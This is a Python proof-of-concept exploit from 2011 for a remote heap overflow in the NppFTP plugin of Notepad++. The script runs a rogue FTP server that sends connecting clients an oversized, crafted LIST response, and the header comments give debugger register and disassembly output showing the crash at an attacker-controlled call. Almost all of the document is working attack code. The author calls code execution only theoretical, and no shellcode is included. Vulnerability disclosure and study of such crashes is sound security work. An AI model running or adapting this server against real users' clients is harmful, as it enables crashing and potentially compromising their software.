# Notepad++ NppFTP plugin LIST command Remote Heap Overflow PoC
# Date:  17.08.2011
# Author: 0in (Maksymilian Motyl)
# Mail: 0in [dot] email /at\ gmail \dot/ com
# Software Link: http://notepad-plus-plus.org/
# Vulnerable plugin: http://sourceforge.net/projects/nppftp/
# Version: Tested on nppftp 0.2.3.0 and 0.2.4.0 (newest)
# Debug:
# EAX 42414141
# ECX 00000ED6
# EDX 024FD99C ASCII "AAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAA"
# EBX 42414141
# ESP 000E0F48
# EBP 000E0F70
# ESI 024FD100
# EDI 024FD100
# EIP 6A14D2D7 NppFTP.6A14D2D7
 
# 6A14D2D7   8B03             MOV EAX,DWORD PTR DS:[EBX]
# 6A14D2D9   891C24           MOV DWORD PTR SS:[ESP],EBX
# 6A14D2DC   FF50 2C          CALL DWORD PTR DS:[EAX+2C] <- BOOM
 
# Theoretically its exploitable, but we haven't much available memory to work with, and
# all memory is dynamicly located, so all addresses are not static..
 
 
import socket
import os
class ftp_server:
 
    def __init__(self):
 
        self.host = '0.0.0.0'
        self.passive_port = 2531
 
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind(('', 21))
        self.sock.listen(1)
 
        a = self.passive_port/256
        b = self.passive_port%256
        self.tuple_port = (a, b)
        self.host_join = ','.join(self.host.split('.'))
        self.passive = False
 
 
    def get(self):
        return self.conn.recv(1024).replace('\r', '').replace('\n', '')
 
    def getcwd(self):
       # return shellcode
        return "passwords"
 
    def put(self, ftr):
        x = {
 
            150:" Data connection accepted from %s:%s; transfer starting."%(self.host, self.passive_port),
            200:" Type okay.",
            220:" Server ready.",
            226:" Listing completed.",
            227:" Entering Passive Mode (%s,%s,%s)"%(self.addr_join, self.tuple_port[0], self.tuple_port[1]),
            230:" User logged in, proceed.",
            250:' "/%s" is new cwd.'%self.getcwd(),
            257:' "/%s" is cwd.'%self.getcwd(),
            331:" User name okay, need password.",
            502:" Command not implemented.",
            551:" Requested action aborted. Page type unknown."
             
                   }[ftr]
 
        s = '%s%s\r\n'%(ftr, x)
        self.conn.send(s)
        return s
    
    def main(self):
        self.conn, self.addr = self.sock.accept ()
        self.addr_join = ','.join(self.addr[0].split('.'))
         
        self.put(220)
 
        while 1:
            try:
                data = self.get().upper()
            except socket.error:
                self.conn.close()
                self.sock.shutdown(socket.SHUT_RDWR)
                if self.passive:
                    self.conn2.close()
                    self.sock2.shutdown(socket.SHUT_RDWR)                   
                raise socket.error
                 
 
            if data[:4] == 'USER':   s = 331
            elif data[:4] == 'PASS': s = 230
            elif data[:3] == 'PWD':  s = 257
            elif data[:4] == 'TYPE':
                s = 200
            elif data[:4] == 'PASV':
                self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.sock2.bind((self.addr[0], self.passive_port))
                self.sock2.listen(1)
                s = self.put(227)
 
                self.conn2, addr = self.sock2.accept()
                self.passive = True
                s = 0
       
            elif data[:3] == 'CWD':
                try:
                    s = 250
                except OSError:
                    s = 551
            elif data[:4] == 'LIST':
                print "LIST..."
                s = self.put(150)
 
                s = self.passive_do(1)
 
                s = self.put(226)
 
 
                s = 0
            else:
                s = 502
     
            if s:
                s = self.put(s)
 
    def passive_do(self, id):
        print "Sending exploit.."
 
        exploit="\x42\x41\x41\x41"*22+"\x42\x41\x41\x41"*53+"C"*400+"D"*4000+"E"*1019+"F"*2000
        res = "drwxrwxrwx 5 ftpuser ftpuser 512 Jul 26 "+exploit+" "+"\x95"*18555+"\r\n"
        self.conn2.send(res)
        self.conn2.send('\r\n')
        self.conn2.close()
        return res
 
 
print "Notepad++ NppFTP plugin LIST command Remote Heap Overflow PoC by 0in"       
while 1:
    try:
        print "Waiting for target.."
        ftp_server().main()
    except socket.error:
        print "Rebooting server...\n"